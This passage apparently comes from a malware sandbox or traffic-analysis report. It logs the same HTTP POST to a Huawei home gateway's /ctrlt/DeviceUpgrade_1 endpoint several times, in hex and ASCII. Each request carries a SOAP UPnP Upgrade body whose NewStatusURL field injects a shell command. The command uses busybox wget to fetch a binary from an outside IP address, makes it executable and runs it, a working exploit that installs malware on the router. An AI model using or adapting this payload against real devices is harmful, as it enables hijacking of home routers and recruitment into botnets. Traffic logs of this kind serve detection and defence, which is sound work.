73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data 